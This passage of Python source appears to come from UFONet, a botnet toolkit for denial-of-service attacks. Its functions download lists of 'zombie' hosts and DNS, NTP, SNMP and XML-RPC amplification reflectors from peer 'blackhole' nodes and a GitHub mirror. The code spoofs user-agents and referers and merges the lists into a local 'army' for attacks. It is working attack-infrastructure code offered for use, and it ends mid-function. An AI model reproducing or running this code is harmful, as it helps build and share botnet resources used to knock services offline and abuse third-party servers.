  3167. f_out_reflectors.write(f_in_reflectors.read())
  3168. f_in_reflectors.close()
  3169. f_out_reflectors.close()
  3170. os.remove('botnet/reflectors.txt.gz') # remove reflectors .gz file
  3171. f_in_crystals = gzip.open('botnet/crystals.txt.gz', 'rb')
  3172. f_out_crystals = open('botnet/crystals.txt', 'wb')
  3173. f_out_crystals.write(f_in_crystals.read())
  3174. f_in_crystals.close()
  3175. f_out_crystals.close()
  3176. os.remove('botnet/crystals.txt.gz') # remove crystals .gz file
  3177. f_in_warps = gzip.open('botnet/warps.txt.gz', 'rb')
  3178. f_out_warps = open('botnet/warps.txt', 'wb')
  3179. f_out_warps.write(f_in_warps.read())
  3180. f_in_warps.close()
  3181. f_out_warps.close()
  3182. os.remove('botnet/warps.txt.gz') # remove warps .gz file
  3183. f_in_bosons = gzip.open('botnet/bosons.txt.gz', 'rb')
  3184. f_out_bosons = open('botnet/bosons.txt', 'wb')
  3185. f_out_bosons.write(f_in_bosons.read())
  3186. f_in_bosons.close()
  3187. f_out_bosons.close()
  3188. os.remove('botnet/bosons.txt.gz') # remove bosons .gz file
  3189. num_abductions = 0
  3190. with open('botnet/abductions.txt') as f:
  3191. for _ in f:
  3192. num_abductions = num_abductions + 1
  3193. print("[Info] Zombies: " + str(num_abductions))
  3194. num_robots = 0
  3195. with open('botnet/robots.txt') as f:
  3196. for _ in f:
  3197. num_robots = num_robots + 1
  3198. print("[Info] Droids : " + str(num_robots))
  3199. num_troops = 0
  3200. with open('botnet/troops.txt') as f:
  3201. for _ in f:
  3202. num_troops = num_troops + 1
  3203. print("[Info] Aliens : " + str(num_troops))
  3204. num_drones = 0
  3205. with open('botnet/drones.txt') as f:
  3206. for _ in f:
  3207. num_drones = num_drones + 1
  3208. print("[Info] UCAVs : " + str(num_drones))
  3209. num_reflectors = 0
  3210. with open('botnet/reflectors.txt') as f:
  3211. for _ in f:
  3212. num_reflectors = num_reflectors + 1
  3213. print("[Info] X-RPCs : " + str(num_reflectors))
  3214. num_crystals = 0
  3215. with open('botnet/crystals.txt') as f:
  3216. for _ in f:
  3217. num_crystals = num_crystals + 1
  3218. print("[Info] DNSs : " + str(num_crystals))
  3219. num_warps = 0
  3220. with open('botnet/warps.txt') as f:
  3221. for _ in f:
  3222. num_warps = num_warps + 1
  3223. print("[Info] NTPs : " + str(num_warps))
  3224. num_bosons = 0
  3225. with open('botnet/bosons.txt') as f:
  3226. for _ in f:
  3227. num_bosons = num_bosons + 1
  3228. print("[Info] SNMPs : " + str(num_bosons))
  3229. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps + num_bosons
  3230. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  3231. print('-'*12)
  3232. if not self.options.forceyes:
  3233. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  3234. print('-'*25)
  3235. else:
  3236. update_reply = "Y"
  3237. if update_reply == "n" or update_reply == "N":
  3238. os.remove('botnet/abductions.txt') # remove abductions file
  3239. os.remove('botnet/troops.txt') # remove troops file
  3240. os.remove('botnet/robots.txt') # remove robots file
  3241. os.remove('botnet/drones.txt') # remove drones file
  3242. os.remove('botnet/reflectors.txt') # remove reflectors file
  3243. os.remove('botnet/crystals.txt') # remove crystals file
  3244. os.remove('botnet/warps.txt') # remove warps file
  3245. os.remove('botnet/bosons.txt') # remove bosons file
  3246. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  3247. print('-'*25)
  3248. print("\n[AI] "+self.exit_msg+"\n")
  3249. else:
  3250. zombies_ready = []
  3251. f = open('botnet/abductions.txt')
  3252. abductions = f.readlines()
  3253. f.close()
  3254. fz = open(self.zombies_file)
  3255. zombies = fz.readlines()
  3256. fz.close()
  3257. for abduction in abductions:
  3258. abduction = abduction.replace('\n','')
  3259. if abduction not in zombies:
  3260. zombies_ready.append(abduction)
  3261. else:
  3262. pass
  3263. self.update_zombies(zombies_ready)
  3264. os.remove('botnet/abductions.txt') # remove abductions .txt file
  3265. aliens_ready = []
  3266. f = open('botnet/troops.txt')
  3267. troops = f.readlines()
  3268. f.close()
  3269. fz = open(self.aliens_file)
  3270. aliens = fz.readlines()
  3271. fz.close()
  3272. for alien in troops:
  3273. alien = alien.replace('\n','')
  3274. if alien not in aliens:
  3275. aliens_ready.append(alien)
  3276. else:
  3277. pass
  3278. self.update_aliens(aliens_ready)
  3279. os.remove('botnet/troops.txt') # remove troops .txt file
  3280. droids_ready = []
  3281. f = open('botnet/robots.txt')
  3282. robots = f.readlines()
  3283. f.close()
  3284. fz = open(self.droids_file)
  3285. droids = fz.readlines()
  3286. fz.close()
  3287. for droid in robots:
  3288. droid = droid.replace('\n','')
  3289. if droid not in droids:
  3290. droids_ready.append(droid)
  3291. else:
  3292. pass
  3293. self.update_droids(droids_ready)
  3294. os.remove('botnet/robots.txt') # remove robots .txt file
  3295. ucavs_ready = []
  3296. f = open('botnet/drones.txt')
  3297. drones = f.readlines()
  3298. f.close()
  3299. fz = open(self.ucavs_file)
  3300. ucavs = fz.readlines()
  3301. fz.close()
  3302. for drone in drones:
  3303. drone = drone.replace('\n','')
  3304. if drone not in ucavs:
  3305. ucavs_ready.append(drone)
  3306. else:
  3307. pass
  3308. self.update_ucavs(ucavs_ready)
  3309. os.remove('botnet/drones.txt') # remove drones .txt file
  3310. rpcs_ready = []
  3311. f = open('botnet/reflectors.txt')
  3312. reflectors = f.readlines()
  3313. f.close()
  3314. fz = open(self.rpcs_file)
  3315. rpcs = fz.readlines()
  3316. fz.close()
  3317. for reflector in reflectors:
  3318. reflector = reflector.replace('\n','')
  3319. if reflector not in rpcs:
  3320. rpcs_ready.append(reflector)
  3321. else:
  3322. pass
  3323. self.update_rpcs(rpcs_ready)
  3324. os.remove('botnet/reflectors.txt') # remove reflectors .txt file
  3325. dnss_ready = []
  3326. f = open('botnet/crystals.txt')
  3327. crystals = f.readlines()
  3328. f.close()
  3329. fz = open(self.dnss_file)
  3330. dnss = fz.readlines()
  3331. fz.close()
  3332. for crystal in crystals:
  3333. crystal = crystal.replace('\n','')
  3334. if crystal not in dnss:
  3335. dnss_ready.append(crystal)
  3336. else:
  3337. pass
  3338. self.update_dnss(dnss_ready)
  3339. os.remove('botnet/crystals.txt') # remove crystals .txt file
  3340. ntps_ready = []
  3341. f = open('botnet/warps.txt')
  3342. warps = f.readlines()
  3343. f.close()
  3344. fz = open(self.ntps_file)
  3345. ntps = fz.readlines()
  3346. fz.close()
  3347. for warp in warps:
  3348. warp = warp.replace('\n','')
  3349. if warp not in ntps:
  3350. ntps_ready.append(warp)
  3351. else:
  3352. pass
  3353. self.update_ntps(ntps_ready)
  3354. os.remove('botnet/warps.txt') # remove warps .txt file
  3355. snmps_ready = []
  3356. f = open('botnet/bosons.txt')
  3357. bosons = f.readlines()
  3358. f.close()
  3359. fz = open(self.snmps_file)
  3360. snmps = fz.readlines()
  3361. fz.close()
  3362. for boson in bosons:
  3363. boson = boson.replace('\n','')
  3364. if boson not in snmps:
  3365. snmps_ready.append(boson)
  3366. else:
  3367. pass
  3368. self.update_snmps(snmps_ready)
  3369. os.remove('botnet/bosons.txt') # remove bosons .txt file
  3370. print("\n[Info] [AI] Botnet updated! -> ;-)")
  3371. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  3372. if not self.options.forceyes: # ask for update everything
  3373. print('-'*25 + "\n")
  3374. update_reply = input("[AI] You would also like to update other content: [News] [Missions] [Grid] [Board]... (Y/n)")
  3375. else:
  3376. update_reply = "Y"
  3377. if update_reply == "n" or update_reply == "N":
  3378. print("\n[AI] "+self.exit_msg+"\n")
  3379. return
  3380. else:
  3381. try:
  3382. update_gui = self.update_gui_data() # update GUI data
  3383. except:
  3384. print('-'*25 +"\n")
  3385. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  3386. print('-'*25)
  3387. print("\n[AI] "+self.exit_msg+"\n")
  3388. return
  3389. def downloading_nodes_list(self):
  3390. # add your node to protect/share/distribute... [Zombies]
  3391. from io import BytesIO
  3392. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3393. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3394. n = open(self.globalnet_file, 'r')
  3395. nodes = n.readlines()
  3396. n.close()
  3397. if not nodes:
  3398. print("[AI] [Control] Not any [Nodes] present in your [Radar]... [Exiting!]\n")
  3399. return
  3400. globalnet_list = []
  3401. if self.options.timeout: # set timeout
  3402. try:
  3403. timeout = int(self.options.timeout)
  3404. except:
  3405. timeout = 5
  3406. else:
  3407. timeout = 5
  3408. if timeout < 1:
  3409. timeout = 5
  3410. if self.options.proxy: # set proxy
  3411. self.proxy_transport(self.options.proxy)
  3412. globalnet_ip_list = [] # used to check for repetitions
  3413. for m in nodes:
  3414. m = m.replace('\n','')
  3415. if self.globalnet_msg_sep in m:
  3416. m = m.split(self.globalnet_msg_sep)
  3417. enc_globalnet_owner = m[0] # owner
  3418. enc_globalnet_comment = m[1] # comment
  3419. enc_globalnet_warp = m[2] # warp
  3420. enc_globalnet_ip = m[3] # extract IP
  3421. self.decrypt(self.crypto_key, enc_globalnet_ip)
  3422. if self.decryptedtext:
  3423. globalnet_ip = self.decryptedtext
  3424. if globalnet_ip not in globalnet_ip_list:
  3425. globalnet_ip_list.append(globalnet_ip)
  3426. else:
  3427. return
  3428. self.decryptedtext = "" # clean decryptedtext buffer
  3429. print("[AI] Trying [Radar] [Blackhole] [Node]:", globalnet_ip, "\n")
  3430. if self.options.forcessl:
  3431. if self.options.proxy: # set proxy
  3432. self.proxy_transport(options.proxy)
  3433. try:
  3434. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/abductions.txt.gz', None, headers)
  3435. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3436. except:
  3437. abductions_reply = ""
  3438. try:
  3439. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/troops.txt.gz', None, headers)
  3440. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3441. except:
  3442. troops_reply = ""
  3443. try:
  3444. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/robots.txt.gz', None, headers)
  3445. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3446. except:
  3447. robots_reply = ""
  3448. try:
  3449. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/drones.txt.gz', None, headers)
  3450. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3451. except:
  3452. drones_reply = ""
  3453. try:
  3454. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/reflectors.txt.gz', None, headers)
  3455. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3456. except:
  3457. reflectors_reply = ""
  3458. try:
  3459. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/crystals.txt.gz', None, headers)
  3460. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3461. except:
  3462. crystals_reply = ""
  3463. try:
  3464. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/warps.txt.gz', None, headers)
  3465. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3466. except:
  3467. warps_reply = ""
  3468. try:
  3469. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/bosons.txt.gz', None, headers)
  3470. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3471. except:
  3472. bosons_reply = ""
  3473. else:
  3474. if self.options.proxy: # set proxy
  3475. self.proxy_transport(options.proxy)
  3476. try:
  3477. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/abductions.txt.gz', None, headers)
  3478. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3479. except:
  3480. abductions_reply = ""
  3481. try:
  3482. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/troops.txt.gz', None, headers)
  3483. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3484. except:
  3485. troops_reply = ""
  3486. try:
  3487. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/robots.txt.gz', None, headers)
  3488. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3489. except:
  3490. robots_reply = ""
  3491. try:
  3492. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/drones.txt.gz', None, headers)
  3493. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3494. except:
  3495. drones_reply = ""
  3496. try:
  3497. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/reflectors.txt.gz', None, headers)
  3498. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3499. except:
  3500. reflectors_reply = ""
  3501. try:
  3502. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/crystals.txt.gz', None, headers)
  3503. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3504. except:
  3505. crystals_reply = ""
  3506. try:
  3507. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/warps.txt.gz', None, headers)
  3508. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3509. except:
  3510. warps_reply = ""
  3511. try:
  3512. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/bosons.txt.gz', None, headers)
  3513. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3514. except:
  3515. bosons_reply = ""
  3516. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
  3517. print("[AI] [Radar] [Blackhole] [Node] Reply: [VORTEX FAILED!]\n")
  3518. print("[AI] [Control] [Radar] [Blackhole] [Node] Action: [Removing!]")
  3519. print('-'*12 + '\n')
  3520. else:
  3521. print("[AI] [Radar] [Blackhole] [Node] Reply: [VORTEX READY!] ;-)")
  3522. print('-'*12)
  3523. num_zombies = 0
  3524. if abductions_reply:
  3525. f_in_abductions = gzip.open(BytesIO(abductions_reply), 'rb')
  3526. f_out_abductions = open('botnet/abductions.txt', 'wb')
  3527. f_out_abductions.write(f_in_abductions.read())
  3528. f_in_abductions.close()
  3529. f_out_abductions.close()
  3530. with open('botnet/abductions.txt') as f:
  3531. for _ in f:
  3532. num_zombies = num_zombies + 1
  3533. print("\n[Info] [Radar] [Blackhole] Total [Zombies]: "+ str(num_zombies))
  3534. num_robots = 0
  3535. if robots_reply:
  3536. f_in_robots = gzip.open(BytesIO(robots_reply), 'rb')
  3537. f_out_robots = open('botnet/robots.txt', 'wb')
  3538. f_out_robots.write(f_in_robots.read())
  3539. f_in_robots.close()
  3540. f_out_robots.close()
  3541. with open('botnet/robots.txt') as f:
  3542. for _ in f:
  3543. num_robots = num_robots + 1
  3544. print("[Info] [Radar] [Blackhole] Total [Droids] : "+ str(num_robots))
  3545. num_aliens = 0
  3546. if troops_reply:
  3547. f_in_troops = gzip.open(BytesIO(troops_reply), 'rb')
  3548. f_out_troops = open('botnet/troops.txt', 'wb')
  3549. f_out_troops.write(f_in_troops.read())
  3550. f_in_troops.close()
  3551. f_out_troops.close()
  3552. with open('botnet/troops.txt') as f:
  3553. for _ in f:
  3554. num_aliens = num_aliens + 1
  3555. print("[Info] [Radar] [Blackhole] Total [Aliens] : "+ str(num_aliens))
  3556. num_drones = 0
  3557. if drones_reply:
  3558. f_in_drones = gzip.open(BytesIO(drones_reply), 'rb')
  3559. f_out_drones = open('botnet/drones.txt', 'wb')
  3560. f_out_drones.write(f_in_drones.read())
  3561. f_in_drones.close()
  3562. f_out_drones.close()
  3563. with open('botnet/drones.txt') as f:
  3564. for _ in f:
  3565. num_drones = num_drones + 1
  3566. print("[Info] [Radar] [Blackhole] Total [UCAVs] : "+ str(num_drones))
  3567. num_reflectors = 0
  3568. if reflectors_reply:
  3569. f_in_reflectors = gzip.open(BytesIO(reflectors_reply), 'rb')
  3570. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  3571. f_out_reflectors.write(f_in_reflectors.read())
  3572. f_in_reflectors.close()
  3573. f_out_reflectors.close()
  3574. with open('botnet/reflectors.txt') as f:
  3575. for _ in f:
  3576. num_reflectors = num_reflectors + 1
  3577. print("[Info] [Radar] [Blackhole] Total [X-RPCs] : "+ str(num_reflectors))
  3578. num_crystals = 1 # black magic!
  3579. if crystals_reply:
  3580. f_in_crystals = gzip.open(BytesIO(crystals_reply), 'rb')
  3581. f_out_crystals = open('botnet/crystals.txt', 'wb')
  3582. f_out_crystals.write(f_in_crystals.read())
  3583. f_in_crystals.close()
  3584. f_out_crystals.close()
  3585. with open('botnet/crystals.txt') as f:
  3586. for _ in f:
  3587. num_crystals = num_crystals + 1
  3588. print("[Info] [Radar] [Blackhole] Total [NTPs] : "+ str(num_crystals))
  3589. num_warps = 1 # black magic!
  3590. if warps_reply:
  3591. f_in_warps = gzip.open(BytesIO(warps_reply), 'rb')
  3592. f_out_warps = open('botnet/warps.txt', 'wb')
  3593. f_out_warps.write(f_in_warps.read())
  3594. f_in_warps.close()
  3595. f_out_warps.close()
  3596. with open('botnet/warps.txt') as f:
  3597. for _ in f:
  3598. num_warps = num_warps + 1
  3599. print("[Info] [Radar] [Blackhole] Total [DNSs] : "+ str(num_warps))
  3600. num_bosons = 0
  3601. if bosons_reply:
  3602. f_in_bosons = gzip.open(BytesIO(bosons_reply), 'rb')
  3603. f_out_bosons = open('botnet/bosons.txt', 'wb')
  3604. f_out_bosons.write(f_in_bosons.read())
  3605. f_in_bosons.close()
  3606. f_out_bosons.close()
  3607. with open('botnet/bosons.txt') as f:
  3608. for _ in f:
  3609. num_bosons = num_bosons + 1
  3610. print("[Info] [Radar] [Blackhole] Total [SNMPs] : "+ str(num_bosons))
  3611. print('-'*12 + '\n')
  3612. zombies = self.extract_zombies()
  3613. if not zombies:
  3614. return
  3615. zombies_added = 0
  3616. if os.path.isfile('botnet/abductions.txt'):
  3617. f = open('botnet/abductions.txt')
  3618. abductions = f.readlines()
  3619. abductions = [abduction.strip() for abduction in abductions]
  3620. f.close()
  3621. fz = open(self.zombies_file)
  3622. zombies = fz.readlines()
  3623. zombies = [zombie.strip() for zombie in zombies]
  3624. fz.close()
  3625. az = open('botnet/zombies.txt', 'a')
  3626. for abduction in abductions:
  3627. if abduction not in zombies:
  3628. zombies_added = zombies_added + 1
  3629. az.write(abduction+os.linesep)
  3630. else:
  3631. pass
  3632. az.close()
  3633. os.remove('botnet/abductions.txt') # remove abductions file
  3634. print("[Info] [Radar] [Blackhole] Added [Zombies]: " + str(zombies_added))
  3635. droids = self.extract_droids()
  3636. if not droids:
  3637. return
  3638. droids_added = 0
  3639. if os.path.isfile('botnet/robots.txt'):
  3640. f = open('botnet/robots.txt')
  3641. robots = f.readlines()
  3642. robots = [robot.strip() for robot in robots]
  3643. f.close()
  3644. fz = open(self.droids_file)
  3645. droids = fz.readlines()
  3646. droids = [droid.strip() for droid in droids]
  3647. fz.close()
  3648. ad = open('botnet/droids.txt', 'a')
  3649. for robot in robots:
  3650. if robot not in droids:
  3651. droids_added = droids_added + 1
  3652. ad.write(robot+os.linesep)
  3653. else:
  3654. pass
  3655. ad.close()
  3656. os.remove('botnet/robots.txt') # remove robots file
  3657. print("[Info] [Radar] [Blackhole] Added [Droids] : " + str(droids_added))
  3658. aliens = self.extract_aliens()
  3659. if not aliens:
  3660. return
  3661. aliens_added = 0
  3662. if os.path.isfile('botnet/troops.txt'):
  3663. f = open('botnet/troops.txt')
  3664. troops = f.readlines()
  3665. troops = [troop.strip() for troop in troops]
  3666. f.close()
  3667. fz = open(self.aliens_file)
  3668. aliens = fz.readlines()
  3669. aliens = [alien.strip() for alien in aliens]
  3670. fz.close()
  3671. at = open('botnet/aliens.txt', 'a')
  3672. for troop in troops:
  3673. if troop not in aliens:
  3674. aliens_added = aliens_added + 1
  3675. at.write(troop+os.linesep)
  3676. else:
  3677. pass
  3678. at.close()
  3679. os.remove('botnet/troops.txt') # remove troops file
  3680. print("[Info] [Radar] [Blackhole] Added [Aliens] : " + str(aliens_added))
  3681. ucavs = self.extract_ucavs()
  3682. if not ucavs:
  3683. return
  3684. ucavs_added = 0
  3685. if os.path.isfile('botnet/drones.txt'):
  3686. f = open('botnet/drones.txt')
  3687. drones = f.readlines()
  3688. drones = [drone.strip() for drone in drones]
  3689. f.close()
  3690. fz = open(self.ucavs_file)
  3691. ucavs = fz.readlines()
  3692. ucavs = [ucav.strip() for ucav in ucavs]
  3693. fz.close()
  3694. au = open('botnet/ucavs.txt', 'a')
  3695. for drone in drones:
  3696. if drone not in ucavs:
  3697. ucavs_added = ucavs_added + 1
  3698. au.write(drone+os.linesep)
  3699. else:
  3700. pass
  3701. au.close()
  3702. os.remove('botnet/drones.txt') # remove ucavs file
  3703. print("[Info] [Radar] [Blackhole] Added [UCAVs] : " + str(ucavs_added))
  3704. rpcs = self.extract_rpcs()
  3705. if not rpcs:
  3706. return
  3707. rpcs_added = 0
  3708. if os.path.isfile('botnet/reflectors.txt'):
  3709. f = open('botnet/reflectors.txt')
  3710. reflectors = f.readlines()
  3711. reflectors = [reflector.strip() for reflector in reflectors]
  3712. f.close()
  3713. fz = open(self.rpcs_file)
  3714. rpcs = fz.readlines()
  3715. rpcs = [rpc.strip() for rpc in rpcs]
  3716. fz.close()
  3717. ar = open('botnet/rpcs.txt', 'a')
  3718. for reflector in reflectors:
  3719. if reflector not in rpcs:
  3720. rpcs_added = rpcs_added + 1
  3721. ar.write(reflector+os.linesep)
  3722. else:
  3723. pass
  3724. ar.close()
  3725. os.remove('botnet/reflectors.txt') # remove rpcs file
  3726. print("[Info] [Radar] [Blackhole] Added [X-RPCs] : " + str(rpcs_added))
  3727. ntps = self.extract_ntps()
  3728. if not ntps:
  3729. return
  3730. ntps_added = 0
  3731. if os.path.isfile('botnet/crystals.txt'):
  3732. f = open('botnet/crystals.txt')
  3733. crystals = f.readlines()
  3734. crystals = [crystal.strip() for crystal in crystals]
  3735. f.close()
  3736. fz = open(self.ntps_file)
  3737. ntps = fz.readlines()
  3738. ntps = [ntp.strip() for ntp in ntps]
  3739. fz.close()
  3740. an = open('botnet/ntp.txt', 'a')
  3741. for crystal in crystals:
  3742. if crystal not in ntps:
  3743. ntps_added = ntps_added + 1
  3744. an.write(crystal+os.linesep)
  3745. else:
  3746. pass
  3747. an.close()
  3748. os.remove('botnet/crystals.txt') # remove crystals file
  3749. print("[Info] [Radar] [Blackhole] Added [NTPs] : " + str(ntps_added))
  3750. dnss = self.extract_dnss()
  3751. if not dnss:
  3752. return
  3753. dnss_added = 0
  3754. if os.path.isfile('botnet/warps.txt'):
  3755. f = open('botnet/warps.txt')
  3756. warps = f.readlines()
  3757. warps = [warp.strip() for warp in warps]
  3758. f.close()
  3759. fz = open(self.dnss_file)
  3760. dnss = fz.readlines()
  3761. dnss = [dns.strip() for dns in dnss]
  3762. fz.close()
  3763. ad = open('botnet/dns.txt', 'a')
  3764. for warp in warps:
  3765. if warp not in dnss:
  3766. dnss_added = dnss_added + 1
  3767. ad.write(warp+os.linesep)
  3768. else:
  3769. pass
  3770. ad.close()
  3771. os.remove('botnet/warps.txt') # remove warps file
  3772. print("[Info] [Radar] [Blackhole] Added [DNSs] : " + str(dnss_added))
  3773. snmps = self.extract_snmps()
  3774. if not snmps:
  3775. return
  3776. snmps_added = 0
  3777. if os.path.isfile('botnet/bosons.txt'):
  3778. f = open('botnet/bosons.txt')
  3779. bosons = f.readlines()
  3780. bosons = [boson.strip() for boson in bosons]
  3781. f.close()
  3782. fz = open(self.snmps_file)
  3783. snmps = fz.readlines()
  3784. snmps = [snmp.strip() for snmp in snmps]
  3785. fz.close()
  3786. asn = open('botnet/snmp.txt', 'a')
  3787. for boson in bosons:
  3788. if boson not in snmps:
  3789. snmps_added = snmps_added + 1
  3790. asn.write(boson+os.linesep)
  3791. else:
  3792. pass
  3793. asn.close()
  3794. os.remove('botnet/bosons.txt') # remove snmps file
  3795. print("[Info] [Radar] [Blackhole] Added [SNMPs] : " + str(snmps_added))
  3796. print('-'*12 + '\n')
  3797. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0 and snmps_added == 0: # not any zombie
  3798. print("[AI] [Control] [Radar] [Blackhole] [Node] These [Zombies] are already in your [Army] -> [Passing!]")
  3799. print('-'*12 + '\n')
  3800. else:
  3801. total_zombies = zombies_added + aliens_added + droids_added + ucavs_added + rpcs_added + ntps_added + dnss_added + snmps_added
  3802. print("[Info] [AI] Congratulations!. Total [Zombies] added: " + str(total_zombies))
  3803. print('-'*12)
  3804. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  3805. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  3806. stream = str(enc_globalnet_owner)+self.globalnet_msg_sep+str(enc_globalnet_comment)+self.globalnet_msg_sep+str(enc_globalnet_warp)+self.globalnet_msg_sep+str(enc_globalnet_ip)
  3807. globalnet_list.append(stream+os.linesep)
  3808. print('='*22 + '\n')
  3809. if globalnet_list is not None:
  3810. f = open(self.globalnet_file, "w") # write to globalnet.txt
  3811. for node in globalnet_list:
  3812. f.write(node)
  3813. f.close()
  3814. def downloading_github_list(self):
  3815. # add your mirror to protect/share/distribute... [Zombies]
  3816. try:
  3817. print("[AI] Trying [Blackhole] [GitHub]: "+self.github_zombies+"\n")
  3818. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3819. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3820. if self.options.timeout: # set timeout
  3821. try:
  3822. timeout = int(self.options.timeout)
  3823. except:
  3824. timeout = 5
  3825. else:
  3826. timeout = 5
  3827. if timeout < 1:
  3828. timeout = 5
  3829. if self.options.proxy: # set proxy
  3830. self.proxy_transport(self.options.proxy)
  3831. try:
  3832. req = urllib.request.Request(self.github_zombies+'zombies.txt', None, headers)
  3833. zombies_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3834. except:
  3835. zombies_reply = ""
  3836. try:
  3837. req = urllib.request.Request(self.github_zombies+'aliens.txt', None, headers)
  3838. aliens_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3839. except:
  3840. aliens_reply = ""
  3841. try:
  3842. req = urllib.request.Request(self.github_zombies+'dns.txt', None, headers)
  3843. dns_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3844. except:
  3845. dns_reply = ""
  3846. try:
  3847. req = urllib.request.Request(self.github_zombies+'droids.txt', None, headers)
  3848. droids_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3849. except:
  3850. droids_reply = ""
  3851. try:
  3852. req = urllib.request.Request(self.github_zombies+'rpcs.txt', None, headers)
  3853. rpcs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3854. except:
  3855. rpcs_reply = ""
  3856. try:
  3857. req = urllib.request.Request(self.github_zombies+'ucavs.txt', None, headers)
  3858. ucavs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3859. except:
  3860. ucavs_reply = ""
  3861. try:
  3862. req = urllib.request.Request(self.github_zombies+'ntp.txt', None, headers)
  3863. ntp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3864. except:
  3865. ntp_reply = ""
  3866. try:
  3867. req = urllib.request.Request(self.github_zombies+'snmp.txt', None, headers)
  3868. snmp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3869. except:
  3870. snmp_reply = ""
  3871. if zombies_reply == "" and aliens_reply == "" and dns_reply == "" and droids_reply == "" and rpcs_reply == "" and ucavs_reply == "" and ntp_reply == "" and snmp_reply == "":
  3872. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  3873. print('-'*12 + '\n')
  3874. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  3875. return
  3876. f = open('botnet/abductions.txt', 'w') # zombies
  3877. f.write(zombies_reply)
  3878. f.close()
  3879. f = open('botnet/troops.txt', 'w') # aliens
  3880. f.write(aliens_reply)
  3881. f.close()
  3882. f = open('botnet/crystals.txt', 'w') # dns
  3883. f.write(dns_reply)
  3884. f.close()
  3885. f = open('botnet/robots.txt', 'w') # droids
  3886. f.write(droids_reply)
  3887. f.close()
  3888. f = open('botnet/drones.txt', 'w') # ucavs
  3889. f.write(ucavs_reply)
  3890. f.close()
  3891. f = open('botnet/reflectors.txt', 'w') # rpcs
  3892. f.write(rpcs_reply)
  3893. f.close()
  3894. f = open('botnet/warps.txt', 'w') # ntp
  3895. f.write(ntp_reply)
  3896. f.close()
  3897. f = open('botnet/bosons.txt', 'w') # snmp
  3898. f.write(snmp_reply)
  3899. f.close()
  3900. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX READY!] ;-)")
  3901. except:
  3902. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  3903. print('-'*12 + '\n')
  3904. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  3905. return
  3906. print('-'*12 + '\n')
  3907. num_abductions = 0
  3908. with open('botnet/abductions.txt') as f: # zombies
  3909. for _ in f:
  3910. num_abductions = num_abductions + 1
  3911. print("[Info] Zombies: " + str(num_abductions))
  3912. num_troops = 0
  3913. with open('botnet/troops.txt') as f: # aliens
